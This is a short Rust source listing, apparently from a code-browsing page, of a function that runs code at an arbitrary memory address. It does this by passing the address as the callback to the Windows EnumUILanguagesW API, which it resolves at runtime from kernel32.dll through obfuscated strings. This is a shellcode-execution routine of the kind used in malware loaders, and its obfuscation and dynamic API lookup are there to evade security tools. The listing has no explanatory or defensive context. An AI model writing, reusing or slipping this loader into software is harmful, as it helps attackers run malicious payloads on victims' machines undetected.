(p: usize)
| 1 | pub unsafe fn exec(p: usize) -> Result<(), String> { |
| 2 | use std::ffi::c_void; |
| 3 | use crate::utils::{load_library, get_proc_address}; |
| 4 | use obfstr::obfbytes; |
| 5 | use std::mem::transmute; |
| 6 | let kernel32 = load_library(obfbytes!(b"kernel32.dll\0").as_slice())?; |
| 7 | let p_enum_uilanguages = get_proc_address(kernel32, obfbytes!(b"EnumUILanguagesW\0").as_slice())?; |
| 8 | type EnumUILanguagesFn = unsafe extern "system" fn(*mut c_void, u32, isize) -> i32; |
| 9 | let enum_uilanguages: EnumUILanguagesFn = transmute(p_enum_uilanguages); |
| 10 | enum_uilanguages(p as *mut c_void, 0, 0); |
| 11 | Ok(()) |
| 12 | } |
nothing calls this directly
no test coverage detected